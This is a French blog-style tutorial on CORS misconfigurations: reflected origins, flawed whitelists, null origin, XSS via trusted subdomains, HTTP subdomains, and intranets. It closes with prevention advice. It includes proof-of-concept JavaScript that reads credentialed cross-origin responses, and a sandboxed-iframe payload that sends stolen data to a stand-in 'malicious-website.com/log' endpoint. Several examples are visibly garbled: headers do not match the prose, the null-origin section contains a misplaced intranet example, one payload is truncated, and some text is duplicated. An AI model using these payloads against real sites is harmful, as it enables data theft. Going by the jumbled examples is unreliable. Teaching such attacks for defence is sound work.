Cross-origin resource sharing (CORS)

Contexte

Le partage de ressources entre origines multiples (CORS) est un mécanisme de navigateur qui permet un accès contrôlé aux ressources situées en dehors d'un domaine donné. Il étend et ajoute de la flexibilité à la politique de même origine (SOP). Cependant, il pose également un potentiel pour des attaques inter-domaines si la politique CORS d'un site web est mal configurée et mise en œuvre. CORS ne protège pas contre les attaques de falsification de requêtes intersites (CSRF).

La politique de même origine est une spécification restrictive de l'origine croisée qui limite la capacité d'un site web à interagir avec des ressources en dehors du domaine source. La politique de même origine a été définie il y a de nombreuses années en réponse à des interactions potentiellement malveillantes entre les domaines, telles qu'un site web volant des données privées à un autre. Elle permet généralement à un domaine d'émettre des requêtes vers d'autres domaines mais pas d'accéder aux réponses.

La politique de même origine est très restrictive et, par conséquent, diverses approches ont été élaborées pour contourner les contraintes. De nombreux sites web interagissent avec des sous-domaines ou des sites tiers de manière à nécessiter un accès croisé complet. Une relaxation contrôlée de la politique de même origine est possible en utilisant le partage de ressources entre origines multiples (CORS).

Le protocole de partage de ressources entre origines multiples utilise une suite d'en-têtes HTTP qui définissent des origines web de confiance et des propriétés associées, telles que l'autorisation d'accès authentifié. Ces éléments sont combinés dans un échange d'en-têtes entre un navigateur et le site web en dehors de l'origine croisée qu'il tente d'accéder.

Vulnérabilités résultant de problèmes de mauvaise configuration de CORS

De nombreux sites web modernes utilisent CORS pour permettre l'accès depuis des sous-domaines et des tiers de confiance. Leur mise en œuvre de CORS peut contenir des erreurs ou être trop permissive pour s'assurer que tout fonctionne, ce qui peut entraîner des vulnérabilités exploitables.

En-tête Access-Control-Allow-Origin généré par le serveur à partir de l'en-tête d'origine spécifié par le client Certaines applications doivent fournir l'accès à un certain nombre d'autres domaines. Maintenir une liste de domaines autorisés nécessite un effort continu, et toute erreur risque de compromettre la fonctionnalité. Ainsi, certaines applications prennent la voie facile en permettant effectivement l'accès depuis n'importe quel autre domaine.

Une façon de faire est de lire l'en-tête Origin des requêtes et d'inclure un en-tête de réponse indiquant que l'origine de la requête est autorisée. Prenons l'exemple d'une application qui reçoit la requête suivante :

 GET /sensitive-data HTTP/1.1
Host: website.com
Origin: https://website.com
Cookie: sessionid=...

Le serveur répond alors avec:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://website.com
Access-Control-Allow-Credentials: true
...

Ces en-têtes indiquent que l'accès est autorisé depuis le domaine demandeur (malicious-website.com) et que les requêtes cross-origin peuvent inclure des cookies (Access-Control-Allow-Credentials: true) et seront donc traitées dans la session.

Comme l'application reflète des origines arbitraires dans l'en-tête Access-Control-Allow-Origin, cela signifie que n'importe quel domaine peut accéder aux ressources du domaine vulnérable. Si la réponse contient des informations sensibles telles qu'une clé API ou un jeton CSRF, vous pouvez les récupérer en plaçant le script suivant sur votre site web:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location=...

Erreurs d'analyse des en-têtes d'origine

Certaines applications qui prennent en charge l'accès à partir de plusieurs origines le font en utilisant une liste blanche d'origines autorisées. Lorsqu'une demande CORS est reçue, l'origine fournie est comparée à la liste blanche. Si l'origine apparaît sur la liste, elle est reflétée dans l'en-tête Access-Control-Allow-Origin de manière à autoriser l'accès. Par exemple, l'application reçoit une demande normale comme suit:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://website.com

L'application vérifie l'origine fournie par rapport à sa liste d'origines autorisées, et si elle figure sur la liste, elle reflète l'origine comme suit:

 HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://website.com

Des erreurs se produisent souvent lors de la mise en œuvre de listes blanches d'origine CORS. Certaines organisations décident d'autoriser l'accès à tous leurs sous-domaines (y compris les futurs sous-domaines qui n'existent pas encore). Et certaines applications autorisent l'accès à divers domaines d'autres organisations, y compris leurs sous-domaines. Ces règles sont souvent mises en œuvre en correspondant à des préfixes ou des suffixes d'URL ou en utilisant des expressions régulières. Toute erreur dans la mise en œuvre peut entraîner l'autorisation d'accès à des domaines externes indésirables.

Par exemple, supposons qu'une application autorise l'accès à tous les domaines se terminant par:

normal-website.com

Un attaquant pourrait être en mesure d'accéder en enregistrant le domaine:

 attacker-normal-website.com

Aussi, supposez qu'une application accorde l'accès à tous les domaines commençant par :

 normal-website.com

Un attaquant pourrait être en mesure d'accéder en utilisant le domaine :

 normal-website.com.attacker-user.net

Valeur d'origine nulle dans la liste blanche

La spécification de l'en-tête Origin prend en charge la valeur nulle. Les navigateurs peuvent envoyer la valeur nulle dans l'en-tête Origin dans différentes situations inhabituelles :

  • Redirections entre domaines.
  • Requêtes à partir de données sérialisées.
  • Requêtes utilisant le protocole "file:".
  • Requêtes entre domaines en sandbox.

Certaines applications peuvent autoriser la valeur nulle pour l'origine afin de prendre en charge le développement d'applications locales. Par exemple, si une application reçoit la requête croisée suivante :

 GET /données-sensibles
Host: vulnerable-website.com
Origin: null

Et que le serveur répond avec :

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Dans cette situation, un attaquant peut utiliser diverses astuces pour générer une requête croisée contenant la valeur nulle dans l'en-tête Origin. Cela permettra de satisfaire la liste blanche, conduisant à un accès entre domaines. Par exemple, cela peut être fait à l'aide d'une requête iframe croisée en sandbox de la forme :

 GET /reader?url=doc1.pdf
Host: intranet.website.com
Origin: https://website.com

Et la réponse du serveur :

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Le serveur d'application fait confiance aux demandes de ressources provenant de n'importe quelle origine sans informations d'identification. Si les utilisateurs dans l'espace d'adressage IP privé accèdent à Internet public, une attaque basée sur CORS peut être lancée à partir du site externe en utilisant le navigateur de la victime comme proxy pour accéder aux ressources de l'intranet.

 <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Exploitation de XSS via les relations de confiance CORS

Même une configuration CORS "correcte" établit une relation de confiance entre deux origines. Si un site Web fait confiance à une origine vulnérable aux attaques de type cross-site scripting (XSS), un attaquant pourrait exploiter le XSS pour injecter du code JavaScript qui utilise CORS pour récupérer des informations sensibles à partir du site qui fait confiance à l'application vulnérable.

En considérant la requête suivante :

 GET /api/requestApiKey HTTP/1.1
Host: website.com
Origin: https://subdomain.website.com
Cookie: sessionid=...

Si le serveur répond avec :

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.website.com
Access-Control-Allow-Credentials: true

Un attaquant qui trouve une vulnérabilité XSS sur subdomain.vulnerable-website.com pourrait l'utiliser pour récupérer la clé API en utilisant une URL comme :

 https://subdomain.website.com/?xss=<script>cors-stuff-here</script>

Briser la sécurité TLS avec une mauvaise configuration CORS

En supposant qu'une application qui utilise strictement HTTPS inclut également un sous-domaine de confiance qui utilise le protocole HTTP simple. Par exemple, lorsque l'application reçoit la demande suivante :

 GET /api/requestApiKey HTTP/1.1
Host: website.com
Origin: http://trusted-subdomain.website.com
Cookie: sessionid=...

L'application répond avec :

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.website.com
Access-Control-Allow-Credentials: true

Dans cette situation, un attaquant qui peut intercepter le trafic d'un utilisateur victime peut exploiter la configuration CORS pour compromettre l'interaction de la victime avec l'application. Cette attaque implique les étapes suivantes :

  1. L'utilisateur victime effectue une demande HTTP simple quelconque.
  2. L'attaquant injecte une redirection vers http://trusted-subdomain.vulnerable-website.com.
  3. Le navigateur de la victime suit la redirection.
  4. L'attaquant intercepte la demande HTTP en clair et renvoie une réponse falsifiée contenant une demande CORS vers : https://vulnerable-website.com.
  5. Le navigateur de la victime effectue la demande CORS, incluant l'origine : http://trusted-subdomain.vulnerable-website.com.
  6. L'application autorise la demande puisqu'elle provient d'une origine autorisée. Les données sensibles demandées sont renvoyées dans la réponse.
  7. La page impersonnifiée de l'attaquant peut lire les données sensibles et les transmettre à n'importe quel domaine sous le contrôle de l'attaquant.
  8. Cette attaque est efficace même si le site vulnérable est par ailleurs robuste dans son utilisation de HTTPS, sans point d'extrémité HTTP et avec tous les cookies marqués comme sécurisés.

Cette attaque est efficace même si le site vulnérable est par ailleurs robuste dans son utilisation de HTTPS, sans point d'extrémité HTTP et avec tous les cookies marqués comme sécurisés.

Intranets et CORS sans authentification

La plupart des attaques CORS reposent sur la présence de l'en-tête de réponse :

 Access-Control-Allow-Credentials: true

Sans cet en-tête, le navigateur de la victime refusera d'envoyer ses cookies, ce qui signifie que l'attaquant n'aura accès qu'à du contenu non authentifié, qu'il pourrait tout aussi bien accéder en naviguant directement sur le site cible.

Cependant, il y a une situation courante dans laquelle un attaquant ne peut pas accéder directement à un site Web : lorsqu'il fait partie du réseau intranet d'une organisation et qu'il se trouve dans un espace d'adressage IP privé. Les sites Web internes sont souvent soumis à une norme de sécurité inférieure à celle des sites externes, ce qui permet aux attaquants de trouver des vulnérabilités et d'obtenir un accès supplémentaire. Par exemple, une demande cross-origin dans un réseau privé pourrait ressembler à ceci :

 GET /reader?url=doc1.pdf
Host: intranet.website.com
Origin: https://website.com

Et le serveur répond avec :

 HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Le serveur d'application fait confiance aux demandes de ressources provenant de n'importe quelle origine sans authentification. Si les utilisateurs à l'intérieur de l'espace d'adressage IP privé accèdent à Internet public, une attaque basée sur CORS peut être lancée depuis le site externe en utilisant le navigateur de la victime comme proxy pour accéder aux ressources intranet.

Comment prévenir les attaques basées sur CORS

Les vulnérabilités CORS surviennent principalement en raison de mauvaises configurations. Par conséquent, la prévention est une question de configuration. Les sections suivantes décrivent quelques défenses efficaces contre les attaques CORS.

  1. Configuration correcte des requêtes cross-origin : Si une ressource Web contient des informations sensibles, l'origine doit être correctement spécifiée dans l'en-tête Access-Control-Allow-Origin.
  2. Autoriser uniquement les sites de confiance : cela peut sembler évident, mais les origines spécifiées dans l'en-tête Access-Control-Allow-Origin ne doivent être que des sites de confiance. En particulier, la réflexion dynamique des origines à partir de requêtes cross-origin sans validation est facilement exploitable et doit être évitée.
  3. Éviter de mettre "null" sur liste blanche : Évitez d'utiliser l'en-tête Access-Control-Allow-Origin: null. Les appels de ressources cross-origin à partir de documents internes et de requêtes sandbox peuvent spécifier l'origine null. Les en-têtes CORS doivent être correctement définis en ce qui concerne les origines de confiance pour les serveurs privés et publics.
  4. Éviter les caractères génériques dans les réseaux internes : Évitez d'utiliser des caractères génériques dans les réseaux internes. Faire confiance à la configuration réseau seule pour protéger les ressources internes n'est pas suffisant lorsque les navigateurs internes peuvent accéder à des domaines externes non approuvés.
  5. CORS ne remplace pas les politiques de sécurité côté serveur : CORS définit le comportement du navigateur et ne remplace jamais la protection côté serveur des données sensibles - un attaquant peut directement falsifier une demande à partir de n'importe quelle origine de confiance. Par conséquent, les serveurs Web doivent continuer à appliquer des protections sur les données sensibles, telles que l'authentification et la gestion de session, en plus de CORS correctement configuré.

Developpeur et architecte passionné, qui souhaite partagé son univers et ses découvertes afin de rendre les choses plus simple pour chacun